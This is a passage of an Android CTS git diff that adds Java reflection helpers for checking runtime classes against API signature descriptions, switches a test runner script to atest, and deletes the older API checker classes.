+     * @param mismatchReasons a map from rejected constructor to the reason it was rejected.
+     * @return reflected constructor, or null if not found.
+     */
+    static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
+            JDiffConstructor jdiffDes, Map<Constructor, String> mismatchReasons) {
+
+        for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
+            Type[] params = c.getGenericParameterTypes();
+            boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
+
+            int startParamOffset = 0;
+            int numberOfParams = params.length;
+
+            // non-static inner class -> skip implicit parent pointer
+            // as first arg
+            if (runtimeClass.isMemberClass() && !isStaticClass && params.length >= 1) {
+                startParamOffset = 1;
+                --numberOfParams;
+            }
+
+            ArrayList<String> jdiffParamList = jdiffDes.mParamList;
+            if (jdiffParamList.size() == numberOfParams) {
+                boolean isFound = true;
+                // i counts jdiff params, j counts reflected params
+                int i = 0;
+                int j = startParamOffset;
+                while (i < jdiffParamList.size()) {
+                    String expectedParameter = jdiffParamList.get(i);
+                    Type actualParameter = params[j];
+                    if (!compareParam(expectedParameter, actualParameter,
+                            DefaultTypeComparator.INSTANCE)) {
+                        mismatchReasons.put(c,
+                                String.format("parameter %d mismatch: expected (%s), found (%s)",
+                                        i,
+                                        expectedParameter,
+                                        actualParameter));
+                        isFound = false;
+                        break;
+                    }
+                    ++i;
+                    ++j;
+                }
+                if (isFound) {
+                    return c;
+                }
+            } else {
+                mismatchReasons.put(c,
+                        String.format("parameter list length mismatch: expected %d, found %d",
+                                jdiffParamList.size(),
+                                params.length));
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Compares the parameter from the API and the parameter from
+     * reflection.
+     *
+     * @param jdiffParam param parsed from the API xml file.
+     * @param reflectionParamType param gotten from the Java reflection.
+     * @param typeComparator compares two types to determine if they are equal.
+     * @return True if the two params match, otherwise return false.
+     */
+    private static boolean compareParam(String jdiffParam, Type reflectionParamType,
+            TypeComparator typeComparator) {
+        if (jdiffParam == null) {
+            return false;
+        }
+
+        String reflectionParam = typeToString(reflectionParamType);
+        // Most things aren't varargs, so just do a simple compare
+        // first.
+        if (typeComparator.compare(jdiffParam, reflectionParam)) {
+            return true;
+        }
+
+        // Check for varargs.  jdiff reports varargs as ..., while
+        // reflection reports them as []
+        int jdiffParamEndOffset = jdiffParam.indexOf("...");
+        int reflectionParamEndOffset = reflectionParam != null ? reflectionParam.indexOf("[]") : -1;
+        if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
+            jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
+            reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
+            return typeComparator.compare(jdiffParam, reflectionParam);
+        }
+
+        return false;
+    }
+
+    /**
+     * Finds the reflected method specified by the method description.
+     *
+     * @param runtimeClass the class in which to search.
+     * @param method description of the method to find
+     * @param mismatchReasons a map from rejected method to the reason it was rejected, only
+     *     contains methods with the same name.
+     * @return the reflected method, or null if not found.
+     */
+    static Method findMatchingMethod(
+            Class<?> runtimeClass, JDiffMethod method, Map<Method, String> mismatchReasons) {
+
+        // Search through the class to find the methods just in case the method was actually
+        // declared in a superclass which is not part of the API and so was made to appear as if
+        // it was declared in each of the hidden class' subclasses. Cannot use getMethods() as that
+        // will only return public methods and the API includes protected methods.
+        Class<?> currentClass = runtimeClass;
+        while (currentClass != null) {
+            Method[] reflectedMethods = currentClass.getDeclaredMethods();
+
+            for (Method reflectedMethod : reflectedMethods) {
+                // If the method names aren't equal, the methods can't match.
+                if (!method.mName.equals(reflectedMethod.getName())) {
+                    continue;
+                }
+
+                if (matchesSignature(method, reflectedMethod, mismatchReasons)) {
+                    return reflectedMethod;
+                }
+            }
+
+            currentClass = currentClass.getSuperclass();
+        }
+
+        return null;
+    }
+
+    /**
+     * Checks if the two types of methods are the same.
+     *
+     * @param jDiffMethod the jDiffMethod to compare
+     * @param reflectedMethod the reflected method to compare
+     * @param mismatchReasons map from method to reason it did not match, used when reporting
+     *     missing methods.
+     * @return true, if both methods are the same
+     */
+    static boolean matchesSignature(JDiffMethod jDiffMethod, Method reflectedMethod,
+            Map<Method, String> mismatchReasons) {
+        // If the method is a bridge then use a special comparator for comparing types as
+        // bridge methods created for generic methods may not have generic signatures.
+        // See b/123558763 for more information.
+        TypeComparator typeComparator = reflectedMethod.isBridge()
+                ? BridgeTypeComparator.INSTANCE : DefaultTypeComparator.INSTANCE;
+
+        String jdiffReturnType = jDiffMethod.mReturnType;
+        String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
+
+        // Next, compare the return types of the two methods.  If
+        // they aren't equal, the methods can't match.
+        if (!typeComparator.compare(jdiffReturnType, reflectionReturnType)) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("return type mismatch: expected %s, found %s", jdiffReturnType,
+                            reflectionReturnType));
+            return false;
+        }
+
+        List<String> jdiffParamList = jDiffMethod.mParamList;
+        Type[] params = reflectedMethod.getGenericParameterTypes();
+
+        // Next, check the method parameters.  If they have different
+        // parameter lengths, the two methods can't match.
+        if (jdiffParamList.size() != params.length) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("parameter list length mismatch: expected %s, found %s",
+                            jdiffParamList.size(),
+                            params.length));
+            return false;
+        }
+
+        boolean piecewiseParamsMatch = true;
+
+        // Compare method parameters piecewise and return true if they all match.
+        for (int i = 0; i < jdiffParamList.size(); i++) {
+            piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i], typeComparator);
+        }
+        if (piecewiseParamsMatch) {
+            return true;
+        }
+
+        /* NOTE: There are cases where piecewise method parameter checking
+         * fails even though the strings are equal, so compare entire strings
+         * against each other. This is not done by default to avoid a
+         * TransactionTooLargeException.
+         * Additionally, this can fail anyway due to extra
+         * information dug up by reflection.
+         *
+         * TODO: fix parameter equality checking and reflection matching
+         * See https://b.corp.google.com/issues/27726349
+         */
+
+        StringBuilder reflectedMethodParams = new StringBuilder("");
+        StringBuilder jdiffMethodParams = new StringBuilder("");
+
+        String sep = "";
+        for (int i = 0; i < jdiffParamList.size(); i++) {
+            jdiffMethodParams.append(sep).append(jdiffParamList.get(i));
+            reflectedMethodParams.append(sep).append(params[i].getTypeName());
+            sep = ", ";
+        }
+
+        String jDiffFName = jdiffMethodParams.toString();
+        String refName = reflectedMethodParams.toString();
+
+        boolean signatureMatches = jDiffFName.equals(refName);
+        if (!signatureMatches) {
+            mismatchReasons.put(reflectedMethod,
+                    String.format("parameter signature mismatch: expected (%s), found (%s)",
+                            jDiffFName,
+                            refName));
+        }
+
+        return signatureMatches;
+    }
+
+    /**
+     * Converts WildcardType array into a jdiff compatible string..
+     * This is a helper function for typeToString.
+     *
+     * @param types array of types to format.
+     * @return the jdiff formatted string.
+     */
+    private static String concatWildcardTypes(Type[] types) {
+        StringBuilder sb = new StringBuilder();
+        int elementNum = 0;
+        for (Type t : types) {
+            sb.append(typeToString(t));
+            if (++elementNum < types.length) {
+                sb.append(" & ");
+            }
+        }
+        return sb.toString();
+    }
+
+    /**
+     * Converts a Type into a jdiff compatible String.  The returned
+     * types from this function should match the same Strings that
+     * jdiff is providing to us.
+     *
+     * @param type the type to convert.
+     * @return the jdiff formatted string.
+     */
+    public static String typeToString(Type type) {
+        if (type instanceof ParameterizedType) {
+            ParameterizedType pt = (ParameterizedType) type;
+
+            StringBuilder sb = new StringBuilder();
+            sb.append(typeToString(pt.getRawType()));
+            sb.append("<");
+
+            int elementNum = 0;
+            Type[] types = pt.getActualTypeArguments();
+            for (Type t : types) {
+                sb.append(typeToString(t));
+                if (++elementNum < types.length) {
+                    // Must match separator used in
+                    // android.signature.cts.KtHelper.toDefaultTypeString.
+                    sb.append(",");
+                }
+            }
+
+            sb.append(">");
+            return sb.toString();
+        } else if (type instanceof TypeVariable) {
+            return ((TypeVariable<?>) type).getName();
+        } else if (type instanceof Class) {
+            return ((Class<?>) type).getCanonicalName();
+        } else if (type instanceof GenericArrayType) {
+            String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
+            return typeName + "[]";
+        } else if (type instanceof WildcardType) {
+            WildcardType wt = (WildcardType) type;
+            Type[] lowerBounds = wt.getLowerBounds();
+            if (lowerBounds.length == 0) {
+                String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
+
+                // Special case for ?
+                if (name.equals("? extends java.lang.Object")) {
+                    return "?";
+                } else {
+                    return name;
+                }
+            } else {
+                String name = concatWildcardTypes(wt.getUpperBounds()) +
+                        " super " +
+                        concatWildcardTypes(wt.getLowerBounds());
+                // Another special case for ?
+                name = name.replace("java.lang.Object", "?");
+                return name;
+            }
+        } else {
+            throw new RuntimeException("Got an unknown java.lang.Type");
+        }
+    }
+
+    /**
+     * Returns a Class representing an annotation type of the given name.
+     */
+    @SuppressWarnings("unchecked")
+    public static Class<? extends Annotation> getAnnotationClass(String name) {
+        try {
+            Class<?> clazz = Class.forName(
+                    name, false, ReflectionHelper.class.getClassLoader());
+            if (clazz.isAnnotation()) {
+                return (Class<? extends Annotation>) clazz;
+            } else {
+                return null;
+            }
+        } catch (ClassNotFoundException e) {
+            return null;
+        }
+    }
+
+    /**
+     * Returns a list of constructors which are annotated with the given annotation class.
+     */
+    public static Set<Constructor<?>> getAnnotatedConstructors(Class<?> clazz,
+            Class<? extends Annotation> annotation) {
+        Set<Constructor<?>> result = new HashSet<>();
+        if (annotation != null) {
+            for (Constructor<?> c : clazz.getDeclaredConstructors()) {
+                if (c.isAnnotationPresent(annotation)) {
+                    // TODO(b/71630695): currently, some API members are not annotated, because
+                    // a member is automatically added to the API set if it is in a class with
+                    // annotation and it is not @hide. <member>.getDeclaringClass().
+                    // isAnnotationPresent(annotationClass) won't help because it will then
+                    // incorrectly include non-API members which are marked as @hide;
+                    // @hide isn't visible at runtime. Until the issue is fixed, we should
+                    // omit those automatically added API members from the test.
+                    result.add(c);
+                }
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Returns a list of methods which are annotated with the given annotation class.
+     */
+    public static Set<Method> getAnnotatedMethods(Class<?> clazz,
+            Class<? extends Annotation> annotation) {
+        Set<Method> result = new HashSet<>();
+        if (annotation != null) {
+            for (Method m : clazz.getDeclaredMethods()) {
+                if (m.isAnnotationPresent(annotation)) {
+                    // TODO(b/71630695): see getAnnotatedConstructors for details
+                    result.add(m);
+                }
+            }
+        }
+        return result;
+    }
+
+    /**
+     * Returns a list of fields which are annotated with the given annotation class.
+     */
+    public static Set<Field> getAnnotatedFields(Class<?> clazz,
+            Class<? extends Annotation> annotation) {
+        Set<Field> result = new HashSet<>();
+        if (annotation != null) {
+            for (Field f : clazz.getDeclaredFields()) {
+                if (f.isAnnotationPresent(annotation)) {
+                    // TODO(b/71630695): see getAnnotatedConstructors for details
+                    result.add(f);
+                }
+            }
+        }
+        return result;
+    }
+
+    private static boolean isInAnnotatedClass(Member m,
+            Class<? extends Annotation> annotationClass) {
+        Class<?> clazz = m.getDeclaringClass();
+        do {
+            if (clazz.isAnnotationPresent(annotationClass)) {
+                return true;
+            }
+        } while ((clazz = clazz.getDeclaringClass()) != null);
+        return false;
+    }
+
+    public static boolean isAnnotatedOrInAnnotatedClass(Field field,
+            Class<? extends Annotation> annotationClass) {
+        if (annotationClass == null) {
+            return true;
+        }
+        return field.isAnnotationPresent(annotationClass)
+                || isInAnnotatedClass(field, annotationClass);
+    }
+
+    public static boolean isAnnotatedOrInAnnotatedClass(Constructor<?> constructor,
+            Class<? extends Annotation> annotationClass) {
+        if (annotationClass == null) {
+            return true;
+        }
+        return constructor.isAnnotationPresent(annotationClass)
+                || isInAnnotatedClass(constructor, annotationClass);
+    }
+
+    public static boolean isAnnotatedOrInAnnotatedClass(Method method,
+            Class<? extends Annotation> annotationClass) {
+        if (annotationClass == null) {
+            return true;
+        }
+        return method.isAnnotationPresent(annotationClass)
+                || isInAnnotatedClass(method, annotationClass);
+    }
+
+    public static boolean isOverridingAnnotatedMethod(Method method,
+            Class<? extends Annotation> annotationClass) {
+        Class<?> clazz = method.getDeclaringClass();
+        while (!(clazz = clazz.getSuperclass()).equals(Object.class)) {
+            try {
+                Method overriddenMethod;
+                overriddenMethod = clazz.getDeclaredMethod(method.getName(),
+                        method.getParameterTypes());
+                if (overriddenMethod != null) {
+                    return isAnnotatedOrInAnnotatedClass(overriddenMethod, annotationClass);
+                }
+            } catch (NoSuchMethodException e) {
+                continue;
+            } catch (SecurityException e) {
+                throw new RuntimeException(
+                        "Error while searching for overridden method. " + method.toString(), e);
+            }
+        }
+        return false;
+    }
+
+    static Class<?> findRequiredClass(JDiffClassDescription classDescription,
+            ClassProvider classProvider) {
+        try {
+            return findMatchingClass(classDescription, classProvider);
+        } catch (ClassNotFoundException e) {
+            LogHelper.loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
+            return null;
+        }
+    }
+
+    /**
+     * Compare the string representation of types for equality.
+     */
+    interface TypeComparator {
+        boolean compare(String apiType, String reflectedType);
+    }
+
+    /**
+     * Compare the types using their default signature, i.e. generic for generic methods, otherwise
+     * basic types.
+     */
+    static class DefaultTypeComparator implements TypeComparator {
+        static final TypeComparator INSTANCE = new DefaultTypeComparator();
+        @Override
+        public boolean compare(String apiType, String reflectedType) {
+            return apiType.equals(reflectedType);
+        }
+    }
+
+    /**
+     * Comparator for the types of bridge methods.
+     *
+     * <p>Bridge methods may not have generic signatures so compare as for
+     * {@link DefaultTypeComparator}, but if they do not match and the api type is
+     * generic then fall back to comparing their raw types.
+     */
+    static class BridgeTypeComparator implements TypeComparator {
+        static final TypeComparator INSTANCE = new BridgeTypeComparator();
+        @Override
+        public boolean compare(String apiType, String reflectedType) {
+            if (DefaultTypeComparator.INSTANCE.compare(apiType, reflectedType)) {
+                return true;
+            }
+
+            // If the method is a bridge method and the return types are generic then compare the
+            // non generic types as bridge methods do not have generic types.
+            int index = apiType.indexOf('<');
+            if (index != -1) {
+                String rawReturnType = apiType.substring(0, index);
+                return rawReturnType.equals(reflectedType);
+            }
+            return false;
+        }
+    }
+}
diff --git a/tests/signature/src/android/signature/cts/ResultObserver.java b/tests/signature/lib/common/src/android/signature/cts/ResultObserver.java
similarity index 100%
rename from tests/signature/src/android/signature/cts/ResultObserver.java
rename to tests/signature/lib/common/src/android/signature/cts/ResultObserver.java
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index f8ec3d1..56d2679 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -17,7 +17,8 @@
 CtsSystemApiSignatureTestCases
 CtsAndroidTestMockCurrentApiSignatureTestCases
 CtsAndroidTestRunnerCurrentApiSignatureTestCases
-CtsAndroidTestBase27ApiSignatureTestCases
+CtsAndroidTestBase28ApiSignatureTestCases
+CtsAndroidTestBaseCurrentApiSignatureTestCases
 
 CtsApacheHttpLegacy27ApiSignatureTestCases
 CtsApacheHttpLegacyCurrentApiSignatureTestCases
@@ -27,25 +28,17 @@
 
 CtsHiddenApiBlacklistCurrentApiTestCases
 CtsHiddenApiBlacklistApi27TestCases
+CtsHiddenApiBlacklistApi28TestCases
 CtsHiddenApiBlacklistDebugClassTestCases
 
 CtsHiddenApiKillswitchWildcardTestCases
 CtsHiddenApiKillswitchWhitelistTestCases
 CtsHiddenApiKillswitchDebugClassTestCases
+
+CtsSharedLibsApiSignatureTestCases
 "
 else
     PACKAGES=${1+"$@"}
 fi
 
-cd $ANDROID_BUILD_TOP
-make -j32 $PACKAGES
-
-TMPFILE=$(mktemp)
-trap "echo Removing temporary directory; rm -f $TMPFILE" EXIT
-
-for p in $PACKAGES
-do
-    echo cts -a arm64-v8a -m "$p" >> $TMPFILE
-done
-
-cts-tradefed run cmdfileAndExit $TMPFILE
+atest ${PACKAGES}
diff --git a/tests/signature/src/android/signature/cts/AbstractApiChecker.java b/tests/signature/src/android/signature/cts/AbstractApiChecker.java
deleted file mode 100644
index 546b921..0000000
--- a/tests/signature/src/android/signature/cts/AbstractApiChecker.java
+++ /dev/null
@@ -1,250 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.Map;
-
-/**
- * Base class for those that process a set of API definition files and perform some checking on
- * them.
- */
-public abstract class AbstractApiChecker {
-
-    final ResultObserver resultObserver;
-
-    final ClassProvider classProvider;
-
-    AbstractApiChecker(ClassProvider classProvider, ResultObserver resultObserver) {
-        this.classProvider = classProvider;
-        this.resultObserver = resultObserver;
-    }
-
-    /**
-     * Checks test class's name, modifier, fields, constructors, and
-     * methods.
-     */
-    public void checkSignatureCompliance(JDiffClassDescription classDescription) {
-        Class<?> runtimeClass = checkClassCompliance(classDescription);
-        if (runtimeClass != null) {
-            checkFieldsCompliance(classDescription, runtimeClass);
-            checkConstructorCompliance(classDescription, runtimeClass);
-            checkMethodCompliance(classDescription, runtimeClass);
-        }
-    }
-
-    /**
-     * Checks that the class found through reflection matches the
-     * specification from the API xml file.
-     *
-     * @param classDescription a description of a class in an API.
-     */
-    @SuppressWarnings("unchecked")
-    private Class<?> checkClassCompliance(JDiffClassDescription classDescription) {
-        try {
-            Class<?> runtimeClass = ReflectionHelper
-                    .findRequiredClass(classDescription, classProvider);
-
-            if (runtimeClass == null) {
-                // No class found, notify the observer according to the class type,
-                // if missing a class isn't acceptable.
-                if (!allowMissingClass(classDescription)) {
-                    resultObserver.notifyFailure(FailureType.missing(classDescription),
-                            classDescription.getAbsoluteClassName(),
-                            "Classloader is unable to find " + classDescription
-                                    .getAbsoluteClassName());
-                }
-                return null;
-            }
-
-            if (!checkClass(classDescription, runtimeClass)) {
-                return null;
-            }
-
-            return runtimeClass;
-        } catch (Exception e) {
-            LogHelper.loge("Got exception when checking class compliance", e);
-            resultObserver.notifyFailure(
-                    FailureType.CAUGHT_EXCEPTION,
-                    classDescription.getAbsoluteClassName(),
-                    "Exception while checking class compliance!");
-            return null;
-        }
-    }
-
-    /**
-     * Perform any additional checks that can only be done after all api files have been processed.
-     */
-    public abstract void checkDeferred();
-
-    /**
-     * Implement to provide custom check of the supplied class description.
-     *
-     * <p>This should not peform checks on the members, those will be done separately depending
-     * on the result of this method.
-     *
-     * @param classDescription the class description to check
-     * @param runtimeClass the runtime class corresponding to the class description.
-     * @return true if the checks passed and the members should now be checked.
-     */
-    protected abstract boolean checkClass(JDiffClassDescription classDescription,
-            Class<?> runtimeClass);
-
-
-    /**
-     * Checks that a class that exists in the API xml file but that does not exist
-     * in the runtime is allowed or not.
-     *
-     * @param classDescription the class description that is missing.
-     * @return true if missing the class is acceptable.
-     */
-    protected boolean allowMissingClass(JDiffClassDescription classDescription) {
-        return false;
-    }
-
-    /**
-     * Checks all fields in test class for compliance with the API xml.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     */
-    @SuppressWarnings("unchecked")
-    private void checkFieldsCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        // A map of field name to field of the fields contained in runtimeClass.
-        Map<String, Field> classFieldMap = buildFieldMap(runtimeClass);
-        for (JDiffClassDescription.JDiffField field : classDescription.getFields()) {
-            try {
-                Field f = classFieldMap.get(field.mName);
-                if (f == null) {
-                    resultObserver.notifyFailure(FailureType.MISSING_FIELD,
-                            field.toReadableString(classDescription.getAbsoluteClassName()),
-                            "No field with correct signature found:" +
-                                    field.toSignatureString());
-                } else {
-                    checkField(classDescription, runtimeClass, field, f);
-                }
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking field compliance", e);
-                resultObserver.notifyFailure(
-                        FailureType.CAUGHT_EXCEPTION,
-                        field.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking field compliance");
-            }
-        }
-    }
-
-    /**
-     * Scan a class (an its entire inheritance chain) for fields.
-     *
-     * @return a {@link Map} of fieldName to {@link Field}
-     */
-    private static Map<String, Field> buildFieldMap(Class testClass) {
-        Map<String, Field> fieldMap = new HashMap<>();
-        // Scan the superclass
-        if (testClass.getSuperclass() != null) {
-            fieldMap.putAll(buildFieldMap(testClass.getSuperclass()));
-        }
-
-        // Scan the interfaces
-        for (Class interfaceClass : testClass.getInterfaces()) {
-            fieldMap.putAll(buildFieldMap(interfaceClass));
-        }
-
-        // Check the fields in the test class
-        for (Field field : testClass.getDeclaredFields()) {
-            fieldMap.put(field.getName(), field);
-        }
-
-        return fieldMap;
-    }
-
-    protected abstract void checkField(JDiffClassDescription classDescription,
-            Class<?> runtimeClass,
-            JDiffClassDescription.JDiffField fieldDescription, Field field);
-
-
-    /**
-     * Checks whether the constructor parsed from API xml file and
-     * Java reflection are compliant.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     */
-    @SuppressWarnings("unchecked")
-    private void checkConstructorCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        for (JDiffClassDescription.JDiffConstructor con : classDescription.getConstructors()) {
-            try {
-                Constructor<?> c = ReflectionHelper.findMatchingConstructor(runtimeClass, con);
-                if (c == null) {
-                    resultObserver.notifyFailure(FailureType.MISSING_CONSTRUCTOR,
-                            con.toReadableString(classDescription.getAbsoluteClassName()),
-                            "No constructor with correct signature found:" +
-                                    con.toSignatureString());
-                } else {
-                    checkConstructor(classDescription, runtimeClass, con, c);
-                }
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking constructor compliance", e);
-                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
-                        con.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking constructor compliance!");
-            }
-        }
-    }
-
-    protected abstract void checkConstructor(JDiffClassDescription classDescription,
-            Class<?> runtimeClass,
-            JDiffClassDescription.JDiffConstructor ctorDescription, Constructor<?> ctor);
-
-    /**
-     * Checks that the method found through reflection matches the
-     * specification from the API xml file.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     */
-    private void checkMethodCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        for (JDiffClassDescription.JDiffMethod method : classDescription.getMethods()) {
-            try {
-
-                Method m = ReflectionHelper.findMatchingMethod(runtimeClass, method);
-                if (m == null) {
-                    resultObserver.notifyFailure(FailureType.MISSING_METHOD,
-                            method.toReadableString(classDescription.getAbsoluteClassName()),
-                            "No method with correct signature found:" +
-                                    method.toSignatureString());
-                } else {
-                    checkMethod(classDescription, runtimeClass, method, m);
-                }
-            } catch (Exception e) {
-                LogHelper.loge("Got exception when checking method compliance", e);
-                resultObserver.notifyFailure(FailureType.CAUGHT_EXCEPTION,
-                        method.toReadableString(classDescription.getAbsoluteClassName()),
-                        "Exception while checking method compliance!");
-            }
-        }
-    }
-
-    protected abstract void checkMethod(JDiffClassDescription classDescription,
-            Class<?> runtimeClass,
-            JDiffClassDescription.JDiffMethod methodDescription, Method method);
-}
diff --git a/tests/signature/src/android/signature/cts/ApiComplianceChecker.java b/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
deleted file mode 100644
index a72059f..0000000
--- a/tests/signature/src/android/signature/cts/ApiComplianceChecker.java
+++ /dev/null
@@ -1,548 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.lang.reflect.Type;
-import java.util.HashSet;
-import java.util.Objects;
-import java.util.Set;
-
-/**
- * Checks that the runtime representation of a class matches the API representation of a class.
- */
-public class ApiComplianceChecker extends AbstractApiChecker {
-
-    /** Indicates that the class is an annotation. */
-    private static final int CLASS_MODIFIER_ANNOTATION = 0x00002000;
-
-    /** Indicates that the class is an enum. */
-    private static final int CLASS_MODIFIER_ENUM       = 0x00004000;
-
-    /** Indicates that the method is a bridge method. */
-    private static final int METHOD_MODIFIER_BRIDGE    = 0x00000040;
-
-    /** Indicates that the method is takes a variable number of arguments. */
-    private static final int METHOD_MODIFIER_VAR_ARGS  = 0x00000080;
-
-    /** Indicates that the method is a synthetic method. */
-    private static final int METHOD_MODIFIER_SYNTHETIC = 0x00001000;
-
-    private final InterfaceChecker interfaceChecker;
-
-    public ApiComplianceChecker(ResultObserver resultObserver, ClassProvider classProvider) {
-        super(classProvider, resultObserver);
-        interfaceChecker = new InterfaceChecker(resultObserver, classProvider);
-    }
-
-    @Override
-    public void checkDeferred() {
-        interfaceChecker.checkQueued();
-    }
-
-    @Override
-    protected boolean checkClass(JDiffClassDescription classDescription, Class<?> runtimeClass) {
-        if (JDiffClassDescription.JDiffType.INTERFACE.equals(classDescription.getClassType())) {
-            // Queue the interface for deferred checking.
-            interfaceChecker.queueForDeferredCheck(classDescription, runtimeClass);
-        }
-
-        String reason;
-        if ((reason = checkClassModifiersCompliance(classDescription, runtimeClass)) != null) {
-            resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                    classDescription.getAbsoluteClassName(),
-                    String.format("Non-compatible class found when looking for %s - because %s",
-                            classDescription.toSignatureString(), reason));
-            return false;
-        }
-
-        if (!checkClassAnnotationCompliance(classDescription, runtimeClass)) {
-            resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                    classDescription.getAbsoluteClassName(), "Annotation mismatch");
-            return false;
-        }
-
-        if (!runtimeClass.isAnnotation()) {
-            // check father class
-            if (!checkClassExtendsCompliance(classDescription, runtimeClass)) {
-                resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                        classDescription.getAbsoluteClassName(), "Extends mismatch");
-                return false;
-            }
-
-            // check implements interface
-            if (!checkClassImplementsCompliance(classDescription, runtimeClass)) {
-                resultObserver.notifyFailure(FailureType.mismatch(classDescription),
-                        classDescription.getAbsoluteClassName(), "Implements mismatch");
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Checks if the class under test has compliant modifiers compared to the API.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     * @return null if modifiers are compliant otherwise a reason why they are not.
-     */
-    private static String checkClassModifiersCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        int reflectionModifiers = runtimeClass.getModifiers();
-        int apiModifiers = classDescription.getModifier();
-
-        // If the api class isn't abstract
-        if (((apiModifiers & Modifier.ABSTRACT) == 0) &&
-                // but the reflected class is
-                ((reflectionModifiers & Modifier.ABSTRACT) != 0) &&
-                // and it isn't an enum
-                !classDescription.isEnumType()) {
-            // that is a problem
-            return "description is abstract but class is not and is not an enum";
-        }
-        // ABSTRACT check passed, so mask off ABSTRACT
-        reflectionModifiers &= ~Modifier.ABSTRACT;
-        apiModifiers &= ~Modifier.ABSTRACT;
-
-        if (classDescription.isAnnotation()) {
-            reflectionModifiers &= ~CLASS_MODIFIER_ANNOTATION;
-        }
-        if (runtimeClass.isInterface()) {
-            reflectionModifiers &= ~(Modifier.INTERFACE);
-        }
-        if (classDescription.isEnumType() && runtimeClass.isEnum()) {
-            reflectionModifiers &= ~CLASS_MODIFIER_ENUM;
-        }
-
-        if ((reflectionModifiers == apiModifiers)
-                && (classDescription.isEnumType() == runtimeClass.isEnum())) {
-            return null;
-        } else {
-            return String.format("modifier mismatch - description (%s), class (%s)",
-                    Modifier.toString(apiModifiers), Modifier.toString(reflectionModifiers));
-        }
-    }
-
-    /**
-     * Checks if the class under test is compliant with regards to
-     * annnotations when compared to the API.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     * @return true if the class is compliant
-     */
-    private static boolean checkClassAnnotationCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        if (runtimeClass.isAnnotation()) {
-            // check annotation
-            for (String inter : classDescription.getImplInterfaces()) {
-                if ("java.lang.annotation.Annotation".equals(inter)) {
-                    return true;
-                }
-            }
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Checks if the class under test extends the proper classes
-     * according to the API.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     * @return true if the class is compliant.
-     */
-    private static boolean checkClassExtendsCompliance(JDiffClassDescription classDescription,
-            Class<?> runtimeClass) {
-        // Nothing to check if it doesn't extend anything.
-        if (classDescription.getExtendedClass() != null) {
-            Class<?> superClass = runtimeClass.getSuperclass();
-
-            while (superClass != null) {
-                if (superClass.getCanonicalName().equals(classDescription.getExtendedClass())) {
-                    return true;
-                }
-                superClass = superClass.getSuperclass();
-            }
-            // Couldn't find a matching superclass.
-            return false;
-        }
-        return true;
-    }
-
-    /**
-     * Checks if the class under test implements the proper interfaces
-     * according to the API.
-     *
-     * @param classDescription a description of a class in an API.
-     * @param runtimeClass the runtime class corresponding to {@code classDescription}.
-     * @return true if the class is compliant
-     */
